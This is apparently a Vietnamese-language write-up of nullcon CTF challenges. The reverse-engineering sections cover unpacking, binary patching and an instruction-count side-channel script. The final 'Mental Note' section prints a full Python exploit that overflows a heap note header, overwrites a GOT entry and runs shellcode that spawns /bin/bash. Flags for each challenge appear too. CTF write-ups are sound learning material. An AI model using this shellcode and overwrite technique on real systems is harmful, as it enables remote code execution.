RE 100 - boo
binary khá nặng
C:\Users\chim\Desktop\nullcon\re\boo>trid boo TrID/32 - File Identifier v2.10 - (C) 2003-11 By M.Pontello Collecting data from file: boo 100.0% (.) Mac OS X Mach-O 64bit Intel executable (4000/1)
=> Mac OS Binary kernel Mach 64 bit
Check string 1 tí thì thấy UPX 3.91!. Ok thử decompress nào
C:\Users\chim\Desktop\nullcon\re\boo>upx -d boo Ultimate Packer for eXecutables Copyright (C) 1996 - 2013 UPX 3.91w Markus Oberhumer, Laszlo Molnar & John Reiser Sep 30th 2013 File size Ratio Format Name -------------------- ------ ----------- ----------- upx: boo: NotPackedException: not packed by UPX Unpacked 0 files.
Failed!
Check lại string lần nữa để ý thấy cái zlib.so, struct.so, python ME... nghi ngờ thể loại python->bin quá.
Find header PYZ => founded :yolo:
Ok easy roài, extract data python ra thôi - Link
import sys if len(sys.argv) == 13: print "Great: flag{g3771ng_st4rt3d_2015}" else: print "."
-------------------------------------------------------------------------------------------------------
RE 200 - upx.exe
string thử chả thấy cái UPX! signature nào @@. decompress lại cho chắc failed nốt.
Run
OK boy let's make it nicely!
Bật IDA Disass thấy đây là 1 binary MS C++ bình thường.
main là winMain -> sau đó call hàm sub_4001000
int __stdcall wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nShowCmd) { sub_401000(); return 0; } void *__cdecl sub_401000() { void *result; // eax@1 void *MZ_header; // ecx@1 int v2; // ecx@4 int v3; // ebp@4 int v4; // esi@4 int v5; // ebx@4 const char *v6; // edi@5 unsigned int v7; // edi@9 int v8; // ebx@9 HANDLE v9; // eax@9 void *v10; // esi@9 unsigned int v11; // eax@10 HANDLE v12; // eax@12 int v13; // ebx@12 SIZE_T v14; // [sp+0h] [bp-28h]@1 int v15; // [sp+4h] [bp-24h]@14 int v16; // [sp+8h] [bp-20h]@14 int v17; // [sp+Ch] [bp-1Ch]@14 int v18; // [sp+10h] [bp-18h]@14 int v19; // [sp+14h] [bp-14h]@14 SIZE_T v20; // [sp+18h] [bp-10h]@14 int v21; // [sp+1Ch] [bp-Ch]@14 int v22; // [sp+20h] [bp-8h]@14 int v23; // [sp+24h] [bp-4h]@14 result = GetModuleHandleW(0); MZ_header = result; v14 = (SIZE_T)result; if ( result ) { result = (void *)'ZM'; if ( *(_WORD *)MZ_header == 'ZM' ) { result = (char *)MZ_header + *((_DWORD *)MZ_header + 15); if ( *(_DWORD *)result == 'EP' ) { v2 = *((_WORD *)result + 10); v3 = *((_WORD *)result + 3); v4 = 0; v5 = (int)((char *)result + v2 + 24); if ( v3 > 0 ) { v6 = (char *)result + v2 + 24; while ( 1 ) { result = (void *)strcmp(v6, ".reloc"); if ( !result ) break; ++v4; v6 += 40; if ( v4 >= v3 ) return result; } v7 = *(_DWORD *)(v5 + 40 * v4 + 16); v8 = v5 + 40 * v4; v9 = GetProcessHeap(); result = HeapAlloc(v9, 8u, v7 + 1); v10 = result; if ( result ) { // malloc, copy hex sang cho malloc 6600 unknown_libname_41(result, v14 + *(_DWORD *)(v8 + 12), *(_DWORD *)(v8 + 16)); v11 = 0; if ( v7 ) { do *((_BYTE *)v10 + v11++) ^= 0x11u; while ( v11 < v7 ); } v14 = *(_DWORD *)v10; v12 = GetProcessHeap(); result = HeapAlloc(v12, 8u, v14); v13 = (int)result; if ( result ) { result = (void *)sub_406660((int)((char *)v10 + 4), (int)result, v7 - 4, (int)&v14); if ( !result ) { v18 = 0; v15 = 0; v16 = 0; v17 = 0; v21 = 0; v22 = 0; v23 = 0; v20 = v14; v19 = v13; LOBYTE(v18) = 1; sub_401B60((int)&v15); ExitProcess(1u); } } } } } } } return result; }
đầu tiên nó gọi hàm getModuleHandle để tìm base address của MZ Header
sau đó check MZ signature và PE signature ::for sure::
find session .alloc
var A = heapalloc(0x6600)
đến đoạn unknown_libname_41 này vì mình rất ghét cái gì cứ dấu giếm, và 1 phần nhác trỗi dậy. function thông thường của mscrt thôi nên xem các tham số truyền vô và kết quả trả về để đoán vậy (memcpy)
memcpy(0x41b00, A, 0x6600) for i in range(0x6600): A[i] ^= 0x11
*một đoạn memory khá dài, lại còn bị mã hóa nữa. không thể nào là flag cipher được? Có lẽ nào là shellcode?
new_size = *(dword*)A = 0xbe00 var B = heapalloc(new_size) sub_406660( &new_size ) => copy MZ_Header -> đến B, size = 0xbe00
Từ đây ta nhảy vào sub func cuối là sub_401b60
Check các sub phụ, để ý các string mình thấy rất là liên quan
[+] Mapping PE file [+] Creating Map View of File [+] Map View of File created [+] Checking for self relocation [+] MyBase, MySize ?!? [+] Jumping to relocated image [+] Processing IAT [+] Loading Library and processing [+] Fixing Image Base address in PEB [+] Executing Entry Point !!!
và 1 số function khá vãi
- CreateFileMappingW - MapViewOfFile - VirtualAlloc - GetProcAddress - VirtualQuery - LoadLibraryA - VirtualProtect
oke, tít đi ít! run shellcode chắc roài ::bem::
ta đặt breakpoint ở ngay các sub con và run lần lượt đến khi nào shell được chạy thì phát hiện điểm G
sub_401b60 -> sub_401600 -> call eax new entry point = 08001563
sài HxD (hex editor) view ram process upx.exe tại địa chỉ đó thì thấy nguyên session từ 0x08000000 -> 0x0800FFFF là 1 file PE mới,
search string thì thấy có dòng "You didn't ask nicely" và đặc biệt là "-pl34se-give-me-th3-k3y" :-ss
tới đây các bạn có thể extract ra 1 file exe mới và disass nghiên cứu (ko chắc là sẽ chạy đc ok), còn mình thì thấy nó có dạng 1 file ms c++ nữa nên so sánh structure với cái PE gốc để tìm addr winMain
địa chỉ 0x08001100
quá trình dịch cũng tương tự, bài mới này cũng không quá khó.
st = command_line_string st[len(st)-1] = \x00 if st[len(st)]==\x20: if !strcmp(st, "-pl34se-give-me-th3-k3y"): func_flag() exit() msgbox("You not nicely");
patch luôn cho lẹ, patch luôn chỗ strcmp và trong func_flag (0x08001000) có 1 chỗ gọi isDebuggerPresent (0x08001024)
Done.
----------------------------------------------------------------------------------
RE 400 - fin64
ubt64@ubt64-vb:/media/sf_Desktop/nullcon/re/fin64$ file fin64 fin64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=0x9b62a9678a30ce6c576131024148154a0bc5575d, stripped
khi chạy và thử nhiều cách input, đều có kết quả "Not yet.."
ubt64@ubt64-vb:/media/sf_Desktop/nullcon/re/fin64$ ./fin64 Not yet..
main khá ngắn, ta dịch lần lượt
để ý, có 2 cái good_boy và bad_boy trong hình
đầu tiên là func_systime
gọi syscall 0xc9 để lấy timestamp sao đó lưu giá trị vào [rbp-18h]
func_ctime - convert timestamp thành giá trị giây:phút:giờ:ngày:tháng:năm => lưu vào [rbp-10h]
dừng ở đây, jump ngược từ good_boy và bad_boy ta thấy có đoạn sử dụng [rbp-10h]
nếu [rbp-10h] ở không bị thay đổi thì đoạn code pseudo ntn:
[rbp-24h] = [dw_time+16]+1 = tháng [rbp-20h] = [dw_time+12] = ngày [rbp-1ch] = [dw_time+20] + 1900 = năm if ( [rbp-24h] == 9 && [rbp-20h] == 10 && [rbp-1ch] == 2011 ) good_boy else bad_boy
thử đặt lại time là 10/9/2011 và run => still failed :wth:
giờ ta jump back từ đoạn compare trên đến ngay sau chỗ convert, patch những đoạn jump để bypass khoảng ở giữa và chạy lại 1 lần nữa
$ ./fin64 Oops..
Good bj, mình đoán flag nằm trong memory, thử trace dần vào good_boy
thì phát hiện ra cái này *byte_6c2070
next-challenge
--------------------------------------------------------------------------------------
RE 500 - cso
bài này thực sự không biết nên viết writeup như thế nào vì công nhận là nó khá bựa và cách làm cũng ngẫu hứng vãi nhái :3
sau hồi dịch mình chả biết nó là cái giống gì, có vẻ giống virtual machine nhưng cũng ko giống lắm =)), đại khái nó như này:
main: print(Bla bla bla) gets(st) #main input len_st = strlen(st) super = 0x24ae5af1 #first magic hex while True: A: if super-a1>0: jump b1 B: if super-a2>0: jump b2 C: if super-a3>0: jump b3 ... V: if super-an>0: jump bn X: super = a(n+1) Y: super = a(n+2) ... Z: super = am quit: break dead: puts("You are dead man") super = super_to_quit continue win: puts("You are safe and live forever") super = super_to_quit continue check_len: if len_st==0x1A: super = super_to_stage2 else: super = super_to_dead continue stage_2: #func_stage2 ở địa chỉ 0x00400ec0 if func_stage2(st)==1: super = super_to_win else: super=super_to_dead continue #mấy số a1, a2, ...an, a(n+1), ... , am là magic const, ko biết có quy luật gì những mà nó đc build để tính toán hợp lí #các jump b1, b2, b3, ... bn là nhãn của một trong mấy thằng A,B,C,...V, quit, dead, win, check_len, stage_2 def stage2(st): #cấu trúc đệ quy #vòng lặp tương tự main #có thêm 1 số sub function phụ
Không biết flag ở chỗ nào luôn, code follow control dựa vào mấy phép cộng của a(i), giờ tìm quy luật cho nó cũng đuối đơ. Có duy nhất 1 cái chắc chắn là len_st = 0x1A = 26 (!!!)
Sau nửa tiếng suy nghĩ, mình thấy khi input với len = 26 và len < 26 thì cảm giác debug lâu hơn. Suy nghĩ: Side channel dựa vào instruction count được không?
$ python -c "print 'a'*26" | ./pin -t source/tools/ManualExamples/obj-intel64/inscount0.so -- ~/Desktop/cso | cat inscount.out Count 123368 $ python -c "print 'a'*25" | ./pin -t source/tools/ManualExamples/obj-intel64/inscount0.so -- ~/Desktop/cso | cat inscount.out Count 123097 $ python -c "print 'a'*24" | ./pin -t source/tools/ManualExamples/obj-intel64/inscount0.so -- ~/Desktop/cso | cat inscount.out Count 123097
Bingo, chuẩn girl mất rồi, side channel bem lần lượt các char
import subprocess import time sam = "abcdefghijklmnopqrstuvwxyz" sam += sam.upper() sam += "0123456789_!,.{}" #217826 SRRDRSSRSRRDDSSSRSSDSDDDSS def insco(fl): fl += 'a'*(26-len(fl)) open('hellyeah','wt').write(fl) subprocess.call("./pin -t source/tools/ManualExamples/obj-intel64/inscount0.so -- ../cso < hellyeah", shell=True) time.sleep(0.2) k = open("inscount.out").read().strip().split(' ')[1] print "-----", fl, k return int(k) def dequy(fl): if len(fl)==26: print fl raw_input("<< Another result, enter for the next...") else: a = insco(fl + 'a') #Cho nay sample chi co 1 ki tu trong string "SRD" thoi (manual check), co the set sam = "SRD" side channel nhanh hon for c in sam: cou = insco(fl + c) if cou-a>400: dequy(fl + c) dequy('')
=> Final SRRDRSSRSRRDDSSSRSSDSDDDSS. Không giống flag cho lắm :-ss
Input test lại vẫn "You are dead man". Wut dafuq, đúng quá rồi còn gì.
Check lại cái inscount thì thấy có sự chênh lệch rất lớn ins.
Có thể là những mini-sub trong stage2 (0x00400ec0)
Kiểm tra lần lượt từng mini-sub đó ta thấy có sub_400BD0 sử dụng biến global(s) chính là string input ban đầu?!?
Đặt breakpoint ngay tại đó và input đúng như trên, sau 1 số lần trace thì ...
Âu Mai Gót, call cái địa chỉ vừa trả về, không phải run shell thì là run cái gì nữa =))
Chuyển hướng sang disass con shell, tương tự 3 bài rồi
move rất nhiều ASCII Char vào memory, ghép lại thì thấy đó là 1 chuỗi base32 😛
Hard time gone 😛
s = "MZWGCZ33NV4V6YZQNVYDINJVL4YTKX3VNYYXC5JTPU" sam = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567" def tobin(t): st = bin(t).replace('0b','') st = '0'*(5-len(st)) + st return st k = '' for i in s: t = sam.find(i) print i, sam.find(i), tobin(t) k += tobin(t) k = k[0:208] print hex(int(k,2))[2:].replace('L','').decode('hex')
flag{my_c0mp455_15_un1qu3}
--------------------------------------------------------------------------------------
PWN 400 - Mental Note
bài này về cơ bản khá giống mixme
cấu trúc dữ liệu:
struct note{ int size; note* next_note; note* prev_note; content[linh động] }
và array_note[999] lưu địa chỉ con trỏ của mỗi note được thêm
có 3 loại note:
loại 0 : content 100 bytes loại 1 : content 200 bytes loại 2 : content 400 bytes
* add-note, người dùng nhập 1 loại note sau đó chương trình malloc 1 lượng bộ nhớ vừa đủ phần header+content size => new_note
new_note được insert vào array_note sau khi đã check-note (dựa vào note header) để tìm id phù hợp.
* edit-note, người dùng nhập id, loại note và read(note-id-content, size=note-type) mà ko check xem note ở id ấy có đúng loại không.
=> nếu note add vào là loại 0 mà khi edit với loại 1/2 thì sẽ overwrite được sang header note khác.
bằng cách này ta sẽ chỉnh phần header của note kế tiếp để khai thác lỗi check-note của add-note function.
Payload:
import socket, time def send(s, m): print "[SEND]", m s.send(m) def recv(s): t = s.recv(4096) print "[RECV]", t return t s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect (( "54.163.248.69",9004 )) recv(s) recv(s) #Add 3 notes, Type 0 for i in range(3): send(s, "1\n") recv(s) send(s, "0\n") recv(s) #Edit note id=2, Type=0, shellcode send(s, "3\n") recv(s) send(s, "2\n") recv(s) send(s, "0\n") recv(s) #shell shell = "\x6a\x0f\x58\x83\xe8\x04\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80" send(s, "\x90"*20 + shell) recv(s) #Edit note id=0, Type=1, overwrite header and change g0t.plt send(s, "3\n") recv(s) send(s, "0\n") recv(s) send(s, "1\n") recv(s) #magic bytes send(s, (0x80-12)*'a' + "\x04\xc1\xeb\x0f\x1c\xb0\x04\x08") recv(s) #jump to shellcode by function was changed in g0t.plt send(s, "1\n") recv(s) send(s, "0\n") recv(s) send(s,"cat flag.txt\n") recv(s) #flag{y0u_br0k3_1n70_5h3rl0ck_m1ndp4l4c3} s.close()
flag{y0u_br0k3_1n70_5h3rl0ck_m1ndp4l4c3} !!!
So long and deep, go get some sleep :'( . Chim!